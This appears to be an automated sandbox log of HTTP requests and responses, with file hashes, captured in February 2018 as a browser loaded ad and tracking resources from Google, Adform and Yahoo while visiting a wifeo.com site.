https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=60&slotname=5224417502&adk=2845482056&adf=807048394&w=585&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=585x60&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=3&wgl=0&dt=1518530560084&bpp=20&fdt=229&idt=331&shv=r20180207&cbv=r20170110&saldr=aa&prev_fmts=585x60&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=1&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=312&ady=3546&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7Cbr%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=2&dtd=358 Cookie: uid=4884062866989652075	37.157.6.234 HTTP/1.1 200 OK Content-Type: text/javascript Server: nginx Date: Tue, 13 Feb 2018 14:02:43 GMT Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=15 Vary: Accept-Encoding Access-Control-Allow-Origin: * Last-Modified: Wed, 07 Feb 2018 15:24:23 GMT Cache-Control: public, max-age=100000 Expires: Wed, 14 Feb 2018 17:14:25 GMT X-Cache-Status: HIT Content-Encoding: gzip --- Additional Info --- Magic: gzip compressed data, from Unix Size: 35421 Md5: 752645330ed92c2f879fb9161238682f Sha1: 720b6c7864e5f084dd5e6a0faa196297544b8e60 Sha256: 37a4451a293bcb4c698aadf71e4449da5bf3b901ddba00e220fe221b30103358
GET /pcs/activeview?xai=AKAOjss7T9JzbufnjJum1x3S-VQUTcqPDyQIgS1Pl_8sm3Np8e7cDzEOEk2RbUOytqyWt_5jxVXYh9JG9PZPG2xV&sig=Cg0ArKJSzOD6c9FLLLIjEAE&id=lidar2&adk=1&mtos=0,0,0,0,0&tos=0,0,0,0,0&p=0,0,605,160&inapp=0&mcvt=0&rs=5&mc=-1&lte=-2&bas=-1&bac=-1&if=1&r=pv&tt=802&pt=-1&deb=1-1-0-0-0--1&tvt=0&is=160,600&url=https%3A%2F%2Fgoogleads.g.doubleclick.net%2Fpagead%2Fads%3Fclient%3Dca-pub-5439285203515723%26output%3Dhtml%26h%3D600%26slotname%3D5224417502%26adk%3D3182230553%26adf%3D807048394%26w%3D178%26fwrn%3D4%26lmt%3D1518530546%26loeid%3D38893312%26rafmt%3D1%26format%3D178x600%26url%3Dhttp%253A%252F%252Fmichaelnativel.wifeo.com%252F%26ea%3D0%26flash%3D10.0.45%26fwr%3D0%26resp_fmts%3D4%26wgl%3D0%26dt%3D1518530560105%26bpp%3D4%26fdt%3D349%26idt%3D445%26shv%3Dr20180207%26cbv%3Dr20170110%26saldr%3Daa%26prev_fmts%3D585x60%252C585x60%26correlator%3D2522521449464%26frm%3D20%26ga_vid%3D709438037.1518530560%26ga_sid%3D1518530560%26ga_hid%3D1665291383%26ga_fc%3D0%26pv%3D1%26icsg%3D0%26nhd%3D1%26dssz%3D0%26mdo%3D0%26mso%3D0%26u_tz%3D60%26u_his%3D1%26u_java%3D1%26u_h%3D885%26u_w%3D1176%26u_ah%3D855%26u_aw%3D1176%26u_cd%3D24%26u_nplug%3D10%26u_nmime%3D92%26adx%3D490%26ady%3D3781%26biw%3D1159%26bih%3D754%26abxe%3D1%26scr_x%3D0%26scr_y%3D0%26eid%3D38893302%252C21061122%252C191880502%26oid%3D3%26rx%3D0%26eae%3D4%26fc%3D528%26brdim%3D%252C%252C-4%252C-4%252C1176%252C0%252C1184%252C863%252C1176%252C754%26vis%3D0%26rsz%3D%257C%257Cbr%257C%26abl%3DCS%26ppjl%3Du%26pfx%3D0%26fu%3D144%26bc%3D1%26ifi%3D3%26dtd%3D471&url=https%3A%2F%2Fgoogleads.g.doubleclick.net%2Fpagead%2Fads%3Fclient%3Dca-pub-5439285203515723%26output%3Dhtml%26h%3D600%26slotname%3D5224417502%26adk%3D3182230553%26adf%3D807048394%26w%3D178%26fwrn%3D4%26lmt%3D1518530546%26loeid%3D38893312%26rafmt%3D1%26format%3D178x600%26url%3Dhttp%253A%252F%252Fmichaelnativel.wifeo.com%252F%26ea%3D0%26flash%3D10.0.45%26fwr%3D0%26resp_fmts%3D4%26wgl%3D0%26dt%3D1518530560105%26bpp%3D4%26fdt%3D349%26idt%3D445%26shv%3D HTTP/1.1 Host: pagead2.googlesyndication.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=600&slotname=5224417502&adk=3182230553&adf=807048394&w=178&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=178x600&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=4&wgl=0&dt=1518530560105&bpp=4&fdt=349&idt=445&shv=r20180207&cbv=r20170110&saldr=aa&prev_fmts=585x60%2C585x60&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=1&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=490&ady=3781&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7Cbr%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=3&dtd=471	172.217.22.162 HTTP/1.1 200 OK Content-Type: image/gif P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Access-Control-Allow-Origin: * Date: Tue, 13 Feb 2018 14:02:43 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate X-Content-Type-Options: nosniff Server: cafe Content-Length: 42 X-XSS-Protection: 1; mode=block Alt-Svc: hq="googleads.g.doubleclick.net:443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic="googleads.g.doubleclick.net:443"; ma=2592000; v="41,39,38,37,35",hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" --- Additional Info --- Magic: GIF image data, version 89a, 1 x 1 Size: 42 Md5: d89746888da2d9510b64a9f031eaecd5 Sha1: d5fceb6532643d0d84ffe09c40c481ecdf59e15a Sha256: ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629
GET /activeview?avi=BKY2BAPCCWrGlOIWyYePbsJgIANDswNnJBgAAEAE4AcgBCcgDAuAEA6AGTNIIBQiAYRAB&cid=CAASBORokGo&id=osdim&ti=1&r=pv&uc=0&tgt=nf&cl=0&v=r20180207 HTTP/1.1 Host: pagead2.googlesyndication.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=600&slotname=5224417502&adk=3182230553&adf=807048394&w=178&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=178x600&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=4&wgl=0&dt=1518530560109&bpp=5&fdt=496&idt=587&shv=r20180207&cbv=r20170110&saldr=aa&prev_fmts=585x60%2C585x60%2C178x600&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=1&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=490&ady=5181&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7Cbr%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=4&dtd=606	172.217.22.162 HTTP/1.1 200 OK Content-Type: image/gif P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Access-Control-Allow-Origin: * Date: Tue, 13 Feb 2018 14:02:43 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate X-Content-Type-Options: nosniff Server: cafe Content-Length: 42 X-XSS-Protection: 1; mode=block Alt-Svc: hq="googleads.g.doubleclick.net:443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic="googleads.g.doubleclick.net:443"; ma=2592000; v="41,39,38,37,35",hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" --- Additional Info --- Magic: GIF image data, version 89a, 1 x 1 Size: 42 Md5: d89746888da2d9510b64a9f031eaecd5 Sha1: d5fceb6532643d0d84ffe09c40c481ecdf59e15a Sha256: ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629
GET /cms/v1?esig=1~b04e41039133c73fafd60e0ed8cb49a70ecfb061&nwid=10000483131&sigv=1 HTTP/1.1 Host: ads.yahoo.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/xbbe/pixel?d=COD5IRD7n5MBGO3Xwi0wAQ&v=APEucNX2YrS8W8jkmTBxKWbYGjDOX7e1TbQovl8_Xvp22_mNVEyYmjOczBRnRT1PZlfi2H35Fkhh	217.12.15.54 HTTP/1.1 302 Found Content-Type: text/plain; charset=utf-8 Date: Tue, 13 Feb 2018 14:02:43 GMT P3P: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" Set-Cookie: B=3ohpg51d85s03&b=3&s=8b; expires=Wed, 13-Feb-2019 14:02:43 GMT; path=/; domain=.yahoo.com Location: https://googleads.g.doubleclick.net/xbbe/match?xid=yFGbmNY1RhbxEdy8zxu3LYEo Cache-Control: private Content-Length: 0 Age: 0 Connection: keep-alive Strict-Transport-Security: max-age=31536000 Server: ATS Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" Public-Key-Pins-Report-Only: max-age=2592000; pin-sha256="2fRAUXyxl4A1/XHrKNBmc8bTkzA7y4FB/GLJuNAzCqY="; pin-sha256="2oALgLKofTmeZvoZ1y/fSZg7R9jPMix8eVA6DH4o/q8="; pin-sha256="47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU="; pin-sha256="cAajgxHlj7GTSEIzIYIQxmEloOSoJq7VOaxWHfv72QM="; pin-sha256="Gtk3r1evlBrs0hG3fm3VoM19daHexDWP//OCmeeMr5M="; pin-sha256="i7WTqTvh0OioIruIfFR4kMPnBqrS2rdiVPl/s2uC/CY="; pin-sha256="iduNzFNKpwYZ3se/XV+hXcbUonlLw09QPa6AYUwpu4M="; pin-sha256="I/Lt/z7ekCWanjD0Cvj5EqXls2lOaThEA0H2Bg4BT/o="; pin-sha256="JbQbUG5JMJUoI6brnx0x3vZF6jilxsapbXGVfjhN8Fg="; pin-sha256="lnsM2T/O9/J84sJFdnrpsFp3awZJ+ZZbYpCWhGloaHI="; pin-sha256="r/mIkG3eEpVdm+u/ko/cwxzOMo1bk4TyHIlByibiA5E="; pin-sha256="SVqWumuteCQHvVIaALrOZXuzVVVeS7f4FGxxu6V+es4="; pin-sha256="uUwZgwDOxcBXrQcntwu+kYFpkiVkOaezL0WYEZ3anJc="; pin-sha256="UZJDjsNp1+4M5x9cbbdflB779y5YRBcV6Z6rBMLIrO4="; pin-sha256="Wd8xe/qfTwq3ylFNd3IpaqLHZbh2ZNCLluVzmeNkcpw="; pin-sha256="WoiWRyIOVNa9ihaBciRSC7XHjliYS9VwUGOIud4PB18="; includeSubdomains; report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-hpkp-report-only" --- Additional Info ---
GET /pcs/activeview?xai=AKAOjsu7uV796Ic6P3uvrcBJUg3c9KLHr55KzkZldL5W375Ph_3C7uo5r1O9G2XNB2FSZz7cCwPMxn84rwt9iu7Y&sig=Cg0ArKJSzN-G0tG55kL8EAE&id=lidar2&adk=1&mtos=0,0,0,0,0&tos=0,0,0,0,0&p=0,0,605,160&inapp=0&mcvt=0&rs=5&mc=-1&lte=-2&bas=-1&bac=-1&if=1&r=pv&tt=831&pt=-1&deb=1-1-0-0-0--1&tvt=0&is=160,600&url=https%3A%2F%2Fgoogleads.g.doubleclick.net%2Fpagead%2Fads%3Fclient%3Dca-pub-5439285203515723%26output%3Dhtml%26h%3D600%26slotname%3D5224417502%26adk%3D3182230553%26adf%3D807048394%26w%3D178%26fwrn%3D4%26lmt%3D1518530546%26loeid%3D38893312%26rafmt%3D1%26format%3D178x600%26url%3Dhttp%253A%252F%252Fmichaelnativel.wifeo.com%252F%26ea%3D0%26flash%3D10.0.45%26fwr%3D0%26resp_fmts%3D4%26wgl%3D0%26dt%3D1518530560109%26bpp%3D5%26fdt%3D496%26idt%3D587%26shv%3Dr20180207%26cbv%3Dr20170110%26saldr%3Daa%26prev_fmts%3D585x60%252C585x60%252C178x600%26correlator%3D2522521449464%26frm%3D20%26ga_vid%3D709438037.1518530560%26ga_sid%3D1518530560%26ga_hid%3D1665291383%26ga_fc%3D0%26pv%3D1%26icsg%3D0%26nhd%3D1%26dssz%3D0%26mdo%3D0%26mso%3D0%26u_tz%3D60%26u_his%3D1%26u_java%3D1%26u_h%3D885%26u_w%3D1176%26u_ah%3D855%26u_aw%3D1176%26u_cd%3D24%26u_nplug%3D10%26u_nmime%3D92%26adx%3D490%26ady%3D5181%26biw%3D1159%26bih%3D754%26abxe%3D1%26scr_x%3D0%26scr_y%3D0%26eid%3D38893302%252C21061122%252C191880502%26oid%3D3%26rx%3D0%26eae%3D4%26fc%3D528%26brdim%3D%252C%252C-4%252C-4%252C1176%252C0%252C1184%252C863%252C1176%252C754%26vis%3D0%26rsz%3D%257C%257Cbr%257C%26abl%3DCS%26ppjl%3Du%26pfx%3D0%26fu%3D144%26bc%3D1%26ifi%3D4%26dtd%3D606&url=https%3A%2F%2Fgoogleads.g.doubleclick.net%2Fpagead%2Fads%3Fclient%3Dca-pub-5439285203515723%26output%3Dhtml%26h%3D600%26slotname%3D5224417502%26adk%3D3182230553%26adf%3D807048394%26w%3D178%26fwrn%3D4%26lmt%3D1518530546%26loeid%3D38893312%26rafmt%3D1%26format%3D178x600%26url%3Dhttp%253A%252F%252Fmichaelnativel.wifeo.com%252F%26ea%3D0%26flash%3D10.0.45%26fwr%3D0%26resp_fmts%3D4%26wgl%3D0%26dt%3D1518530560109%26bpp%3D5%26fdt%3D496%26idt%3D HTTP/1.1 Host: pagead2.googlesyndication.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=600&slotname=5224417502&adk=3182230553&adf=807048394&w=178&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=178x600&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=4&wgl=0&dt=1518530560109&bpp=5&fdt=496&idt=587&shv=r20180207&cbv=r20170110&saldr=aa&prev_fmts=585x60%2C585x60%2C178x600&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=1&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=490&ady=5181&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7Cbr%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=4&dtd=606	172.217.22.162 HTTP/1.1 200 OK Content-Type: image/gif P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Access-Control-Allow-Origin: * Date: Tue, 13 Feb 2018 14:02:43 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate X-Content-Type-Options: nosniff Server: cafe Content-Length: 42 X-XSS-Protection: 1; mode=block Alt-Svc: hq="googleads.g.doubleclick.net:443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic="googleads.g.doubleclick.net:443"; ma=2592000; v="41,39,38,37,35",hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" --- Additional Info --- Magic: GIF image data, version 89a, 1 x 1 Size: 42 Md5: d89746888da2d9510b64a9f031eaecd5 Sha1: d5fceb6532643d0d84ffe09c40c481ecdf59e15a Sha256: ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629
GET /sodar/6uQTKQJz.html HTTP/1.1 Host: tpc.googlesyndication.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=600&slotname=5224417502&adk=3182230553&adf=807048394&w=178&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=178x600&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=4&wgl=0&dt=1518530560109&bpp=5&fdt=496&idt=587&shv=r20180207&cbv=r20170110&saldr=aa&prev_fmts=585x60%2C585x60%2C178x600&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=1&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=490&ady=5181&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7Cbr%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=4&dtd=606	172.217.21.129 HTTP/1.1 200 OK Content-Type: text/html Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 7233 Date: Mon, 12 Feb 2018 14:04:56 GMT Expires: Tue, 12 Feb 2019 14:04:56 GMT Last-Modified: Tue, 02 Jan 2018 21:45:00 GMT X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 1; mode=block Cache-Control: public, max-age=31536000 Age: 86267 Alt-Svc: hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" --- Additional Info --- Magic: gzip compressed data, max compression Size: 7233 Md5: 30bf1c51eb9c0ba258ea2df31d24bc98 Sha1: d13abffacc94ee31dfd5a094bfa975cca8e4d292 Sha256: 25a3afe99572ebbe3af74f504252d7fe97ebd580d47f5b734c286cc40a82131e
GET /csimpr/?bn=21309103&csi=jx8IavnnCjGDnTAnrE_JdeofrBzzXNcj8alussah8sNFVA7t4fWUWQO8_7rsP1jj0 HTTP/1.1 Host: track.adform.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=60&slotname=5224417502&adk=2845482056&adf=807048394&w=585&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=585x60&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=3&wgl=0&dt=1518530560084&bpp=20&fdt=229&idt=331&shv=r20180207&cbv=r20170110&saldr=aa&prev_fmts=585x60&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=1&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=312&ady=3546&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7Cbr%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=2&dtd=358 Cookie: C=1; cid=5540862615520228074,0,0,0,0; uid=5540862615520228074	37.157.6.253 HTTP/1.1 200 OK Content-Type: image/gif Server: nginx Date: Tue, 13 Feb 2018 14:02:43 GMT Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=15 Cache-Control: no-cache, no-store, must-revalidate, no-transform Pragma: no-cache Expires: -1 Access-Control-Allow-Origin: * P3P: CP="NOI DSP COR NID CURa ADMa DEVa TAIa PSAa PSDa OUR LEG NAV INT" --- Additional Info --- Magic: GIF image data, version 89a, 1 x 1 Size: 35 Md5: 28d6814f309ea289f847c69cf91194c6 Sha1: 0f4e929dd5bb2564f7ab9c76338e04e292a42ace Sha256: 8337212354871836e6763a41e615916c89bac5b3f1f0adf60ba43c7c806e1015
GET /Banners/21767715/21767715.gif?bv=2 HTTP/1.1 Host: s1.adform.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=60&slotname=5224417502&adk=2845482056&adf=807048394&w=585&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=585x60&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=3&wgl=0&dt=1518530560084&bpp=20&fdt=229&idt=331&shv=r20180207&cbv=r20170110&saldr=aa&prev_fmts=585x60&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=1&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=312&ady=3546&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7Cbr%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=2&dtd=358 Cookie: uid=5540862615520228074	37.157.6.234 HTTP/1.1 200 OK Content-Type: image/gif Server: nginx Date: Tue, 13 Feb 2018 14:02:43 GMT Content-Length: 17743 Connection: keep-alive Keep-Alive: timeout=15 Last-Modified: Tue, 19 Sep 2017 08:36:49 GMT Etag: "59c0d721-454f" P3P: CP="NOI DSP COR NID CURa ADMa DEVa TAIa PSAa PSDa OUR LEG NAV INT" Access-Control-Allow-Origin: * Cache-Control: public, max-age=604800 Strict-Transport-Security: max-age=0 X-Cache-Status: HIT Accept-Ranges: bytes --- Additional Info --- Magic: GIF image data, version 89a, 468 x 60 Size: 17743 Md5: f567b2253fea74153db2987bdc857b6c Sha1: 6afa5e35b7e26796b46dba59349afefaf1135673 Sha256: eeb656b80f03b69b29be4e269400c2ae84d0ca2c5b4f854826a13364a76ee938
GET /activeview?avi=BGAMsAPCCWrTuOY2fYtW1hBAAvtC4heUCAAAQATgByAEJoAYh0ggFCIBhEAE&id=osdim&ti=1&r=pv&uc=0&tgt=nf&cl=0&v=r20180207 HTTP/1.1 Host: pagead2.googlesyndication.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=60&slotname=5224417502&adk=2845482056&adf=807048394&w=585&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=585x60&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=3&wgl=0&dt=1518530560084&bpp=20&fdt=229&idt=331&shv=r20180207&cbv=r20170110&saldr=aa&prev_fmts=585x60&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=1&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=312&ady=3546&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7Cbr%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=2&dtd=358	172.217.22.162 HTTP/1.1 200 OK Content-Type: image/gif P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Access-Control-Allow-Origin: * Date: Tue, 13 Feb 2018 14:02:43 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate X-Content-Type-Options: nosniff Server: cafe Content-Length: 42 X-XSS-Protection: 1; mode=block Alt-Svc: hq="googleads.g.doubleclick.net:443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic="googleads.g.doubleclick.net:443"; ma=2592000; v="41,39,38,37,35",hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" --- Additional Info --- Magic: GIF image data, version 89a, 1 x 1 Size: 42 Md5: d89746888da2d9510b64a9f031eaecd5 Sha1: 